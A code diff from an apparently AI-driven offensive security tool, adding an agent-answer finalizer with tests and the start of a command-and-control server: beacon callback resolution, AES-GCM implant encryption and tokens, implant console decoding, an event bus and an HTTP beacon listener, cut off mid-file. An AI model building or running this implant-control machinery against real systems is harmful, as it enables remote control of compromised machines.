diff --git a/internal/agentfinalizer/decision.go b/internal/agentfinalizer/decision.go new file mode 100644 index 00000000..5aa0d00c --- /dev/null +++ b/internal/agentfinalizer/decision.go @@ -0,0 +1,266 @@ +package agentfinalizer + +import ( + "strings" + + "cyberstrike-ai/internal/database" + "cyberstrike-ai/internal/mcp" + "cyberstrike-ai/internal/multiagent" +) + +const ( + StatusCompleted = "completed" + StatusInProgress = "in_progress" + StatusBlocked = "blocked" + StatusFailed = "failed" + StatusCancelled = "cancelled" + StatusAwaitingHITL = "awaiting_hitl" + + ReasonVerified = "verified" + ReasonPendingTools = "pending_tool_executions" + ReasonEmptyResponse = "empty_response" + ReasonAwaitingHITL = "awaiting_hitl" + ReasonFailed = "failed" + ReasonCancelled = "cancelled" + ReasonMissingEvidence = "missing_execution_evidence" +) + +// Decision is the single contract that may promote an agent run to a final +// user-facing answer. Natural-language assistant text is only a candidate until +// this object says Finalizable. +type Decision struct { + Status string `json:"status"` + Finalizable bool `json:"finalizable"` + Finalized bool `json:"finalized"` + CompletionReason string `json:"completionReason"` + FinalText string `json:"finalText,omitempty"` + EvidenceVerified bool `json:"evidenceVerified"` + EvidenceRefs []string `json:"evidenceRefs,omitempty"` + PendingExecutionIDs []string `json:"pendingExecutionIds,omitempty"` + PendingToolRuns []string `json:"pendingToolRuns,omitempty"` + MissingChecks []string `json:"missingChecks,omitempty"` + AgentMode string `json:"agentMode,omitempty"` + ConversationID string `json:"conversationId,omitempty"` + AssistantMessageID string `json:"messageId,omitempty"` + CandidateResponseLen int `json:"candidateResponseLen,omitempty"` +} + +type Input struct { + Response string + MCPExecutionIDs []string + ConversationID string + AssistantMessageID string + AgentMode string + Status string + CompletionReason string + AwaitingHITL bool + RequireExecutionEvidence bool +} + +func FromRunResult(db *database.DB, result *multiagent.RunResult, in Input) Decision { + if result != nil { + if strings.TrimSpace(in.Response) == "" { + in.Response = result.Response + } + if len(in.MCPExecutionIDs) == 0 { + in.MCPExecutionIDs = result.MCPExecutionIDs + } + if strings.TrimSpace(in.Status) == "" { + in.Status = result.Status + } + if strings.TrimSpace(in.CompletionReason) == "" { + in.CompletionReason = result.CompletionReason + } + } + d := Decide(db, in) + if result != nil { + result.Finalized = d.Finalized + result.Status = d.Status + result.CompletionReason = d.CompletionReason + result.EvidenceVerified = d.EvidenceVerified + result.EvidenceRefs = append([]string(nil), d.EvidenceRefs...) + result.PendingExecutionIDs = append([]string(nil), d.PendingExecutionIDs...) + result.MissingChecks = append([]string(nil), d.MissingChecks...) + } + return d +} + +func Decide(db *database.DB, in Input) Decision { + text := strings.TrimSpace(in.Response) + status := strings.TrimSpace(in.Status) + if status == "" { + status = StatusCompleted + } + reason := strings.TrimSpace(in.CompletionReason) + if reason == "" { + reason = ReasonVerified + } + d := Decision{ + Status: status, + CompletionReason: reason, + FinalText: text, + EvidenceVerified: true, + EvidenceRefs: evidenceRefs(in.MCPExecutionIDs), + AgentMode: strings.TrimSpace(in.AgentMode), + ConversationID: strings.TrimSpace(in.ConversationID), + AssistantMessageID: strings.TrimSpace(in.AssistantMessageID), + CandidateResponseLen: len([]rune(text)), + } + + if in.AwaitingHITL { + d.Status = StatusAwaitingHITL + d.CompletionReason = ReasonAwaitingHITL + d.EvidenceVerified = false + d.MissingChecks = append(d.MissingChecks, "workflow is awaiting HITL approval") + return d + } + if isEmptyCandidate(text) { + d.Status = StatusBlocked + d.CompletionReason = ReasonEmptyResponse + d.EvidenceVerified = false + d.MissingChecks = append(d.MissingChecks, "assistant final text is empty or only an empty-response placeholder") + return d + } + switch status { + case StatusInProgress, StatusBlocked, StatusFailed, StatusCancelled, StatusAwaitingHITL: + d.Status = status + d.EvidenceVerified = false + if d.CompletionReason == ReasonVerified { + d.CompletionReason = status + } + d.MissingChecks = append(d.MissingChecks, "agent run status is "+status) + return d + } + + pending := pendingExecutions(db, in.MCPExecutionIDs) + if len(pending) > 0 { + d.Status = StatusInProgress + d.CompletionReason = ReasonPendingTools + d.EvidenceVerified = false + d.PendingExecutionIDs = pending + d.PendingToolRuns = append([]string(nil), pending...) + d.MissingChecks = append(d.MissingChecks, "tool execution still queued or running") + return d + } + + if in.RequireExecutionEvidence && !hasCompletedEvidence(db, in.MCPExecutionIDs) { + d.Status = StatusBlocked + d.CompletionReason = ReasonMissingEvidence + d.EvidenceVerified = false + d.MissingChecks = append(d.MissingChecks, "execution evidence is required but no completed tool execution was recorded") + return d + } + + d.Finalizable = true + d.Finalized = true + d.Status = StatusCompleted + if d.CompletionReason == "" { + d.CompletionReason = ReasonVerified + } + return d +} + +func ResponsePayload(d Decision, extra map[string]interface{}) map[string]interface{} { + out := map[string]interface{}{ + "finalized": d.Finalized, + "finalizable": d.Finalizable, + "status": d.Status, + "completionReason": d.CompletionReason, + "evidenceVerified": d.EvidenceVerified, + "evidenceRefs": d.EvidenceRefs, + "pendingExecutionIds": d.PendingExecutionIDs, + "pendingToolRuns": d.PendingToolRuns, + "missingChecks": d.MissingChecks, + } + if d.ConversationID != "" { + out["conversationId"] = d.ConversationID + } + if d.AssistantMessageID != "" { + out["messageId"] = d.AssistantMessageID + } + if d.AgentMode != "" { + out["agentMode"] = d.AgentMode + } + for k, v := range extra { + out[k] = v + } + return out +} + +func isEmptyCandidate(s string) bool { + s = strings.TrimSpace(s) + if s == "" { + return true + } + return strings.Contains(s, "no assistant text was captured") || + strings.Contains(s, "未捕获到助手文本输出") +} + +func evidenceRefs(ids []string) []string { + out := make([]string, 0, len(ids)) + seen := make(map[string]struct{}, len(ids)) + for _, id := range ids { + id = strings.TrimSpace(id) + if id == "" { + continue + } + if _, ok := seen[id]; ok { + continue + } + seen[id] = struct{}{} + out = append(out, "mcp_execution:"+id) + } + return out +} + +func pendingExecutions(db *database.DB, ids []string) []string { + if db == nil || len(ids) == 0 { + return nil + } + out := make([]string, 0) + seen := make(map[string]struct{}, len(ids)) + for _, id := range ids { + id = strings.TrimSpace(id) + if id == "" { + continue + } + if _, ok := seen[id]; ok { + continue + } + seen[id] = struct{}{} + exec, err := db.GetToolExecution(id) + if err != nil || exec == nil { + continue + } + switch strings.TrimSpace(exec.Status) { + case mcp.ToolExecutionStatusQueued, mcp.ToolExecutionStatusRunning: + out = append(out, id) + } + } + return out +} + +func hasCompletedEvidence(db *database.DB, ids []string) bool { + if db == nil || len(ids) == 0 { + return false + } + seen := make(map[string]struct{}, len(ids)) + for _, id := range ids { + id = strings.TrimSpace(id) + if id == "" { + continue + } + if _, ok := seen[id]; ok { + continue + } + seen[id] = struct{}{} + exec, err := db.GetToolExecution(id) + if err != nil || exec == nil { + continue + } + if strings.TrimSpace(exec.Status) == mcp.ToolExecutionStatusCompleted { + return true + } + } + return false +} diff --git a/internal/agentfinalizer/decision_test.go b/internal/agentfinalizer/decision_test.go new file mode 100644 index 00000000..c31755a3 --- /dev/null +++ b/internal/agentfinalizer/decision_test.go @@ -0,0 +1,132 @@ +package agentfinalizer + +import ( + "path/filepath" + "testing" + "time" + + "cyberstrike-ai/internal/database" + "cyberstrike-ai/internal/mcp" + + "go.uber.org/zap" +) + +func newDecisionTestDB(t *testing.T) *database.DB { + t.Helper() + db, err := database.NewDB(filepath.Join(t.TempDir(), "finalizer.db"), zap.NewNop()) + if err != nil { + t.Fatalf("NewDB: %v", err) + } + t.Cleanup(func() { _ = db.Close() }) + return db +} + +func saveDecisionTestExecution(t *testing.T, db *database.DB, id, status string) { + t.Helper() + if err := db.SaveToolExecution(&mcp.ToolExecution{ + ID: id, + ToolName: "test::tool", + Arguments: map[string]interface{}{"input": id}, + Status: status, + StartTime: time.Now(), + }); err != nil { + t.Fatalf("SaveToolExecution(%s): %v", id, err) + } +} + +func TestDecideBlocksPendingToolExecutions(t *testing.T) { + db := newDecisionTestDB(t) + saveDecisionTestExecution(t, db, "run-queued", mcp.ToolExecutionStatusQueued) + saveDecisionTestExecution(t, db, "run-running", mcp.ToolExecutionStatusRunning) + saveDecisionTestExecution(t, db, "run-completed", mcp.ToolExecutionStatusCompleted) + + d := Decide(db, Input{ + Response: "工具还没全部结束时，这只是一段候选输出。", + MCPExecutionIDs: []string{"run-queued", "run-running", "run-completed"}, + }) + + if d.Finalizable || d.Finalized { + t.Fatalf("pending tools should not be finalizable: %+v", d) + } + if d.Status != StatusInProgress || d.CompletionReason != ReasonPendingTools { + t.Fatalf("status/reason = %s/%s, want %s/%s", d.Status, d.CompletionReason, StatusInProgress, ReasonPendingTools) + } + if got, want := len(d.PendingExecutionIDs), 2; got != want { + t.Fatalf("pending execution count = %d, want %d (%v)", got, want, d.PendingExecutionIDs) + } +} + +func TestDecideBlocksAwaitingHITLAndEmptyCandidate(t *testing.T) { + hitl := Decide(nil, Input{Response: "等待人工审批", AwaitingHITL: true}) + if hitl.Finalizable || hitl.Status != StatusAwaitingHITL || hitl.CompletionReason != ReasonAwaitingHITL { + t.Fatalf("HITL decision mismatch: %+v", hitl) + } + + empty := Decide(nil, Input{Response: "⚠️ Eino 执行完成，但未捕获到助手文本输出。"}) + if empty.Finalizable || empty.Status != StatusBlocked || empty.CompletionReason != ReasonEmptyResponse { + t.Fatalf("empty candidate decision mismatch: %+v", empty) + } +} + +func TestDecideBlocksWhenExecutionEvidenceIsRequiredButMissing(t *testing.T) { + d := Decide(nil, Input{ + Response: "任务已处理完成。", + RequireExecutionEvidence: true, + }) + if d.Finalizable || d.Finalized { + t.Fatalf("missing required execution evidence should not finalize: %+v", d) + } + if d.Status != StatusBlocked || d.CompletionReason != ReasonMissingEvidence { + t.Fatalf("status/reason = %s/%s, want %s/%s", d.Status, d.CompletionReason, StatusBlocked, ReasonMissingEvidence) + } + if d.EvidenceVerified { + t.Fatalf("missing required execution evidence should be marked unverified: %+v", d) + } + if len(d.MissingChecks) == 0 { + t.Fatalf("missing checks should explain the evidence gap: %+v", d) + } +} + +func TestDecideBlocksWhenOnlyFailedEvidenceIsRecorded(t *testing.T) { + db := newDecisionTestDB(t) + saveDecisionTestExecution(t, db, "run-failed", mcp.ToolExecutionStatusFailed) + saveDecisionTestExecution(t, db, "run-cancelled", mcp.ToolExecutionStatusCancelled) + + d := Decide(db, Input{ + Response: "任务已处理完成。", + MCPExecutionIDs: []string{"run-failed", "run-cancelled"}, + RequireExecutionEvidence: true, + }) + + if d.Finalizable || d.Finalized { + t.Fatalf("failed evidence should not satisfy required execution evidence: %+v", d) + } + if d.Status != StatusBlocked || d.CompletionReason != ReasonMissingEvidence { + t.Fatalf("status/reason = %s/%s, want %s/%s", d.Status, d.CompletionReason, StatusBlocked, ReasonMissingEvidence) + } +} + +func TestDecideFinalizesCompletedEvidence(t *testing.T) { + db := newDecisionTestDB(t) + saveDecisionTestExecution(t, db, "run-ok", mcp.ToolExecutionStatusCompleted) + + d := Decide(db, Input{ + Response: "任务已处理完成，见工具执行记录。", + MCPExecutionIDs: []string{"run-ok"}, + RequireExecutionEvidence: true, + }) + + if !d.Finalizable || !d.Finalized || d.Status != StatusCompleted { + t.Fatalf("completed execution should finalize: %+v", d) + } + if !d.EvidenceVerified || len(d.EvidenceRefs) != 1 { + t.Fatalf("evidence refs mismatch: %+v", d) + } +} + +func TestDecideAllowsInformationalAnswerWhenExecutionEvidenceIsNotRequired(t *testing.T) { + d := Decide(nil, Input{Response: "这是一个概念解释，不需要执行工具。"}) + if !d.Finalizable || !d.Finalized || d.Status != StatusCompleted { + t.Fatalf("informational response should finalize when execution evidence is not required: %+v", d) + } +} diff --git a/internal/c2/beacon_host.go b/internal/c2/beacon_host.go new file mode 100644 index 00000000..9899c6a6 --- /dev/null +++ b/internal/c2/beacon_host.go @@ -0,0 +1,39 @@ +package c2 + +import ( + "strings" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// ResolveBeaconDialHost 决定植入端应连接的主机名（不含端口）。 +// 优先级：explicitOverride > 监听器 config_json 中的 callback_host > bind_host（0.0.0.0/::/空 时 detectExternalIP，失败则 127.0.0.1）。 +func ResolveBeaconDialHost(listener *database.C2Listener, explicitOverride string, logger *zap.Logger, listenerID string) string { + if h := strings.TrimSpace(explicitOverride); h != "" { + return h + } + cfg := &ListenerConfig{} + if listener != nil && listener.ConfigJSON != "" { + _ = parseJSON(listener.ConfigJSON, cfg) + } + if h := strings.TrimSpace(cfg.CallbackHost); h != "" { + return h + } + if listener == nil { + return "127.0.0.1" + } + host := strings.TrimSpace(listener.BindHost) + if host == "0.0.0.0" || host == "" || host == "::" { + host = detectExternalIP() + if host == "" { + if logger != nil { + logger.Warn("listener binds 0.0.0.0 but no external IP detected, falling back to 127.0.0.1; set callback_host or pass explicit host", + zap.String("listener_id", listenerID)) + } + return "127.0.0.1" + } + } + return host +} diff --git a/internal/c2/console_encoding.go b/internal/c2/console_encoding.go new file mode 100644 index 00000000..7ac449d1 --- /dev/null +++ b/internal/c2/console_encoding.go @@ -0,0 +1,48 @@ +package c2 + +import ( + "encoding/base64" + "strings" + "unicode/utf8" + + "golang.org/x/text/encoding/simplifiedchinese" + "golang.org/x/text/transform" +) + +// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。 +// osTag 来自会话的 os 字段（如 windows / Windows 10）；空值时按 auto 处理。 +func NormalizeConsoleOutput(raw []byte, osTag string) string { + if len(raw) == 0 { + return "" + } + osTag = strings.ToLower(strings.TrimSpace(osTag)) + isWindows := strings.Contains(osTag, "windows") + + if utf8.Valid(raw) { + return string(raw) + } + if isWindows { + if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil { + return string(out) + } + } + // 非 Windows 或解码失败：GB18030 兜底（覆盖 GBK） + if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil { + return string(out) + } + return string(raw) +} + +// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64（及 Error/ErrorB64），按会话 OS 解码。 +func ResolveTaskResultText(plain, b64, sessionOS string) string { + if strings.TrimSpace(b64) != "" { + raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64)) + if err == nil { + return NormalizeConsoleOutput(raw, sessionOS) + } + } + if plain == "" { + return "" + } + return NormalizeConsoleOutput([]byte(plain), sessionOS) +} diff --git a/internal/c2/console_encoding_test.go b/internal/c2/console_encoding_test.go new file mode 100644 index 00000000..fb3d9697 --- /dev/null +++ b/internal/c2/console_encoding_test.go @@ -0,0 +1,51 @@ +package c2 + +import ( + "encoding/base64" + "testing" + + "golang.org/x/text/encoding/simplifiedchinese" + "golang.org/x/text/transform" +) + +func mustGBK(t *testing.T, s string) []byte { + t.Helper() + out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s)) + if err != nil { + t.Fatal(err) + } + return out +} + +func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) { + raw := mustGBK(t, "中文测试") + got := NormalizeConsoleOutput(raw, "windows") + if got != "中文测试" { + t.Fatalf("got %q want 中文测试", got) + } +} + +func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) { + raw := []byte("hello 世界") + got := NormalizeConsoleOutput(raw, "linux") + if got != "hello 世界" { + t.Fatalf("got %q", got) + } +} + +func TestResolveTaskResultText_PrefersB64(t *testing.T) { + raw := mustGBK(t, "采购订单") + b64 := base64.StdEncoding.EncodeToString(raw) + got := ResolveTaskResultText("", b64, "windows") + if got != "采购订单" { + t.Fatalf("got %q", got) + } +} + +func TestResolveTaskResultText_PlainFallback(t *testing.T) { + raw := mustGBK(t, "测试") + got := ResolveTaskResultText(string(raw), "", "windows") + if got != "测试" { + t.Fatalf("got %q", got) + } +} diff --git a/internal/c2/crypto.go b/internal/c2/crypto.go new file mode 100644 index 00000000..bf4c5ddd --- /dev/null +++ b/internal/c2/crypto.go @@ -0,0 +1,154 @@ +package c2 + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "errors" + "io" +) + +// AES-256-GCM 信封：每个 Listener 独立 32 字节密钥 + 每条消息独立 12 字节 nonce。 +// 协议格式（base64 文本，便于 HTTP body / SSE 直接传）： +// base64( nonce(12) || ciphertext+tag ) +// 设计要点： +// - GCM 自带 16 字节 AEAD tag，完整性 + 机密性一次性搞定，无需额外 HMAC； +// - nonce 由 crypto/rand 生成，96bit 在密钥不变期内重复概率极低（< 2^-32 / 4B 次）； +// - 密钥不出服务端：listener 创建时随机生成 32 字节，编译 beacon 时硬编码进去。 + +// GenerateAESKey 生成随机 32 字节 AES-256 密钥并 base64 输出 +func GenerateAESKey() (string, error) { + key := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, key); err != nil { + return "", err + } + return base64.StdEncoding.EncodeToString(key), nil +} + +// GenerateImplantToken 生成 32 字节 token，base64 编码（implant 携带在 HTTP header 鉴权用） +func GenerateImplantToken() (string, error) { + t := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, t); err != nil { + return "", err + } + return base64.RawURLEncoding.EncodeToString(t), nil +} + +// EncryptAESGCM 加密任意明文，返回 base64(nonce||ct) +func EncryptAESGCM(keyB64 string, plaintext []byte) (string, error) { + key, err := decodeKey(keyB64) + if err != nil { + return "", err + } + block, err := aes.NewCipher(key) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "", err + } + ct := gcm.Seal(nil, nonce, plaintext, nil) + out := append(nonce, ct...) + return base64.StdEncoding.EncodeToString(out), nil +} + +// DecryptAESGCM 解密 base64(nonce||ct)，返回明文 +func DecryptAESGCM(keyB64, encB64 string) ([]byte, error) { + key, err := decodeKey(keyB64) + if err != nil { + return nil, err + } + raw, err := base64.StdEncoding.DecodeString(encB64) + if err != nil { + return nil, errors.New("ciphertext base64 invalid") + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + nonceSize := gcm.NonceSize() + if len(raw) < nonceSize+16 { // 至少 nonce + tag + return nil, errors.New("ciphertext too short") + } + nonce, ct := raw[:nonceSize], raw[nonceSize:] + pt, err := gcm.Open(nil, nonce, ct, nil) + if err != nil { + return nil, errors.New("aead open failed (key mismatch or tampered)") + } + return pt, nil +} + +// EncryptAESGCMWithAAD encrypts with additional authenticated data bound to context (e.g. session_id). +// Prevents cross-session replay: ciphertext from session A cannot be fed to session B. +func EncryptAESGCMWithAAD(keyB64 string, plaintext []byte, aad []byte) (string, error) { + key, err := decodeKey(keyB64) + if err != nil { + return "", err + } + block, err := aes.NewCipher(key) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "", err + } + ct := gcm.Seal(nil, nonce, plaintext, aad) + out := append(nonce, ct...) + return base64.StdEncoding.EncodeToString(out), nil +} + +// DecryptAESGCMWithAAD decrypts with AAD verification. +func DecryptAESGCMWithAAD(keyB64, encB64 string, aad []byte) ([]byte, error) { + key, err := decodeKey(keyB64) + if err != nil { + return nil, err + } + raw, err := base64.StdEncoding.DecodeString(encB64) + if err != nil { + return nil, errors.New("ciphertext base64 invalid") + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + nonceSize := gcm.NonceSize() + if len(raw) < nonceSize+16 { + return nil, errors.New("ciphertext too short") + } + nonce, ct := raw[:nonceSize], raw[nonceSize:] + pt, err := gcm.Open(nil, nonce, ct, aad) + if err != nil { + return nil, errors.New("aead open failed (key mismatch, tampered, or AAD mismatch)") + } + return pt, nil +} + +func decodeKey(keyB64 string) ([]byte, error) { + key, err := base64.StdEncoding.DecodeString(keyB64) + if err != nil { + return nil, errors.New("key base64 invalid") + } + if len(key) != 32 { + return nil, errors.New("key must be 32 bytes (AES-256)") + } + return key, nil +} diff --git a/internal/c2/eventbus.go b/internal/c2/eventbus.go new file mode 100644 index 00000000..e1527500 --- /dev/null +++ b/internal/c2/eventbus.go @@ -0,0 +1,144 @@ +package c2 + +import ( + "sync" + "sync/atomic" + "time" +) + +// Event 是 EventBus 内部传输的事件单元，是 database.C2Event 的"实时投影"。 +// 区别在于： +// - 数据库表保存全部历史，用于审计与列表分页； +// - EventBus 只缓存最近 N 条，用于 SSE/WS 实时推送给在线订阅者。 +type Event struct { + ID string `json:"id"` + Level string `json:"level"` + Category string `json:"category"` + SessionID string `json:"sessionId,omitempty"` + TaskID string `json:"taskId,omitempty"` + Message string `json:"message"` + Data map[string]interface{} `json:"data,omitempty"` + CreatedAt time.Time `json:"createdAt"` +} + +// EventBus 简单的内存广播总线。 +// 设计要点： +// - 多订阅者：每个订阅者有独立 buffered channel，慢消费者不会阻塞 publisher； +// - 容量满即丢弃：发布端绝不阻塞，避免 listener accept loop / beacon handler 卡住； +// - 全局过滤：订阅时可限定 SessionID/Category，前端按需订阅，省 CPU； +// - 关闭安全：Close() 后所有订阅者 chan 关闭，防止 goroutine 泄漏。 +type EventBus struct { + mu sync.RWMutex + subscribers map[string]*Subscription + closed bool +} + +// Subscription 订阅句柄 +type Subscription struct { + ID string + Ch chan *Event + SessionID string // 空表示不限制 + Category string // 空表示不限制 + Levels map[string]struct{} + dropCount atomic.Int64 +} + +// NewEventBus 创建总线 +func NewEventBus() *EventBus { + return &EventBus{subscribers: make(map[string]*Subscription)} +} + +// Subscribe 注册订阅者；返回 Subscription，调用方负责后续 Unsubscribe。 +// - bufferSize：单订阅者 channel 容量，建议 64~256； +// - sessionFilter / categoryFilter：空字符串=不限； +// - levelFilter：[]string{"warn","critical"} 这类，nil/空表示全收。 +func (b *EventBus) Subscribe(id string, bufferSize int, sessionFilter, categoryFilter string, levelFilter []string) *Subscription { + if bufferSize <= 0 { + bufferSize = 128 + } + sub := &Subscription{ + ID: id, + Ch: make(chan *Event, bufferSize), + SessionID: sessionFilter, + Category: categoryFilter, + } + if len(levelFilter) > 0 { + sub.Levels = make(map[string]struct{}, len(levelFilter)) + for _, l := range levelFilter { + sub.Levels[l] = struct{}{} + } + } + b.mu.Lock() + defer b.mu.Unlock() + if b.closed { + close(sub.Ch) + return sub + } + b.subscribers[id] = sub + return sub +} + +// Unsubscribe 注销订阅者并关闭 channel +func (b *EventBus) Unsubscribe(id string) { + b.mu.Lock() + defer b.mu.Unlock() + if sub, ok := b.subscribers[id]; ok { + delete(b.subscribers, id) + close(sub.Ch) + } +} + +// Publish 广播事件给所有订阅者；非阻塞，channel 满时静默丢弃 +func (b *EventBus) Publish(e *Event) { + if e == nil { + return + } + b.mu.RLock() + subs := make([]*Subscription, 0, len(b.subscribers)) + for _, s := range b.subscribers { + if s.matches(e) { + subs = append(subs, s) + } + } + closed := b.closed + b.mu.RUnlock() + if closed { + return + } + for _, s := range subs { + select { + case s.Ch <- e: + default: + s.dropCount.Add(1) + } + } +} + +// Close 关闭总线，停止所有订阅 +func (b *EventBus) Close() { + b.mu.Lock() + defer b.mu.Unlock() + if b.closed { + return + } + b.closed = true + for id, s := range b.subscribers { + close(s.Ch) + delete(b.subscribers, id) + } +} + +func (s *Subscription) matches(e *Event) bool { + if s.SessionID != "" && e.SessionID != s.SessionID { + return false + } + if s.Category != "" && e.Category != s.Category { + return false + } + if len(s.Levels) > 0 { + if _, ok := s.Levels[e.Level]; !ok { + return false + } + } + return true +} diff --git a/internal/c2/hitl_context.go b/internal/c2/hitl_context.go new file mode 100644 index 00000000..ac642233 --- /dev/null +++ b/internal/c2/hitl_context.go @@ -0,0 +1,29 @@ +package c2 + +import "context" + +type hitlRunCtxKey struct{} + +// WithHITLRunContext 将 runCtx（通常为整条 Agent / SSE 请求生命周期）挂到传入的 ctx 上。 +// MCP 工具 handler 收到的 ctx 可能是带单次工具超时的子 context，在工具 return 时会被 cancel； +// 危险任务 HITL 应通过 HITLUserContext 使用 runCtx 等待人工审批。 +func WithHITLRunContext(ctx, runCtx context.Context) context.Context { + if ctx == nil || runCtx == nil { + return ctx + } + return context.WithValue(ctx, hitlRunCtxKey{}, runCtx) +} + +// HITLUserContext 返回用于 C2 危险任务 HITL 等待的 context： +// 若曾用 WithHITLRunContext 注入更长寿命的 runCtx 则返回之，否则返回 ctx。 +func HITLUserContext(ctx context.Context) context.Context { + if ctx == nil { + return context.Background() + } + if v := ctx.Value(hitlRunCtxKey{}); v != nil { + if run, ok := v.(context.Context); ok && run != nil { + return run + } + } + return ctx +} diff --git a/internal/c2/io.go b/internal/c2/io.go new file mode 100644 index 00000000..b916a07e --- /dev/null +++ b/internal/c2/io.go @@ -0,0 +1,22 @@ +package c2 + +import ( + "encoding/base64" + "os" +) + +// 这些薄封装存在的目的： +// - 让 manager.go / handler 中的逻辑更直观，避免反复 import os； +// - 便于将来用接口抽象（譬如改成 internal/storage 的实现）做单元测试。 + +func osMkdirAll(path string, perm os.FileMode) error { + return os.MkdirAll(path, perm) +} + +func osWriteFile(path string, data []byte, perm os.FileMode) error { + return os.WriteFile(path, data, perm) +} + +func base64Decode(s string) ([]byte, error) { + return base64.StdEncoding.DecodeString(s) +} diff --git a/internal/c2/listener.go b/internal/c2/listener.go new file mode 100644 index 00000000..04063ddc --- /dev/null +++ b/internal/c2/listener.go @@ -0,0 +1,69 @@ +package c2 + +import ( + "strings" + "sync" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// Listener 监听器抽象：每种传输方式（TCP/HTTP/HTTPS/WS/DNS）都实现此接口； +// Manager 不感知具体实现细节，通过 ListenerRegistry 工厂创建。 +type Listener interface { + // Type 返回当前 listener 的类型字符串（如 "tcp_reverse"） + Type() string + // Start 启动监听；如果端口被占用应返回 ErrPortInUse + Start() error + // Stop 停止监听并释放所有相关 goroutine（不应抛 panic） + Stop() error +} + +// ListenerCreationCtx 工厂初始化 listener 时收到的上下文 +type ListenerCreationCtx struct { + Listener *database.C2Listener + Config *ListenerConfig + Manager *Manager + Logger *zap.Logger +} + +// ListenerFactory 创建 listener 实例的工厂；返回的实例尚未 Start +type ListenerFactory func(ctx ListenerCreationCtx) (Listener, error) + +// ListenerRegistry 类型 → 工厂 的注册表，由 internal/app 启动时注册具体实现， +// 测试中也可注入 mock 工厂来覆盖。 +type ListenerRegistry struct { + mu sync.RWMutex + factories map[string]ListenerFactory +} + +// NewListenerRegistry 创建空注册表 +func NewListenerRegistry() *ListenerRegistry { + return &ListenerRegistry{factories: make(map[string]ListenerFactory)} +} + +// Register 注册一种 listener 工厂 +func (r *ListenerRegistry) Register(typeName string, f ListenerFactory) { + r.mu.Lock() + defer r.mu.Unlock() + r.factories[strings.ToLower(strings.TrimSpace(typeName))] = f +} + +// Get 取工厂；nil 表示未注册 +func (r *ListenerRegistry) Get(typeName string) ListenerFactory { + r.mu.RLock() + defer r.mu.RUnlock() + return r.factories[strings.ToLower(strings.TrimSpace(typeName))] +} + +// RegisteredTypes 列出已注册的类型，给前端枚举用 +func (r *ListenerRegistry) RegisteredTypes() []string { + r.mu.RLock() + defer r.mu.RUnlock() + out := make([]string, 0, len(r.factories)) + for k := range r.factories { + out = append(out, k) + } + return out +} diff --git a/internal/c2/listener_http.go b/internal/c2/listener_http.go new file mode 100644 index 00000000..a4fc62e4 --- /dev/null +++ b/internal/c2/listener_http.go @@ -0,0 +1,550 @@ +package c2 + +import ( + "crypto/ecdsa" + "crypto/elliptic" + "crypto/rand" + "crypto/sha256" + "crypto/subtle" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/base64" + "encoding/hex" + "encoding/json" + "encoding/pem" + "errors" + "fmt" + "io" + "math/big" + mrand "math/rand" + "net" + "net/http" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "cyberstrike-ai/internal/database" + + "go.uber.org/zap" +) + +// HTTPBeaconListener 实现 HTTP/HTTPS Beacon： +// - beacon 端定期 POST {checkin_path}（携带 implant_token + AES 加密 body）； +// - 服务端解密、登记会话、回执 sleep + 是否有任务； +// - beacon 收到 has_tasks=true 时 GET {tasks_path} 拉取加密任务列表； +// - 任务完成后 POST {result_path} 回传结果。 +// +// 优势：所有任务异步、可批量、支持文件上传/截图/任意大 blob，是 C2 的"主战场"。 +type HTTPBeaconListener struct { + rec *database.C2Listener + cfg *ListenerConfig + manager *Manager + logger *zap.Logger + useTLS bool + profile *database.C2Profile + + srv *http.Server + mu sync.Mutex + stopCh chan struct{} + stopped bool +} + +// NewHTTPBeaconListener 工厂（注册到 ListenerRegistry["http_beacon"]） +func NewHTTPBeaconListener(ctx ListenerCreationCtx) (Listener, error) { + return &HTTPBeaconListener{ + rec: ctx.Listener, + cfg: ctx.Config, + manager: ctx.Manager, + logger: ctx.Logger, + useTLS: false, + stopCh: make(chan struct{}), + }, nil +} + +// NewHTTPSBeaconListener 工厂（注册到 ListenerRegistry["https_beacon"]） +func NewHTTPSBeaconListener(ctx ListenerCreationCtx) (Listener, error) { + return &HTTPBeaconListener{ + rec: ctx.Listener, + cfg: ctx.Config, + manager: ctx.Manager, + logger: ctx.Logger, + useTLS: true, + stopCh: make(chan struct{}), + }, nil +} + +// Type 类型字符串 +func (l *HTTPBeaconListener) Type() string { + if l.useTLS { + return string(ListenerTypeHTTPSBeacon) + } + return string(ListenerTypeHTTPBeacon) +} + +// Start 起 HTTP server +func (l *HTTPBeaconListener) Start() error { + // Load Malleable Profile if configured + l.loadProfile() + + mux := http.NewServeMux() + mux.HandleFunc(l.cfg.BeaconCheckInPath, l.withProfileHeaders(l.handleCheckIn)) + mux.HandleFunc(l.cfg.BeaconTasksPath, l.withProfileHeaders(l.handleTasks)) + mux.HandleFunc(l.cfg.BeaconResultPath, l.withProfileHeaders(l.handleResult)) + mux.HandleFunc(l.cfg.BeaconUploadPath, 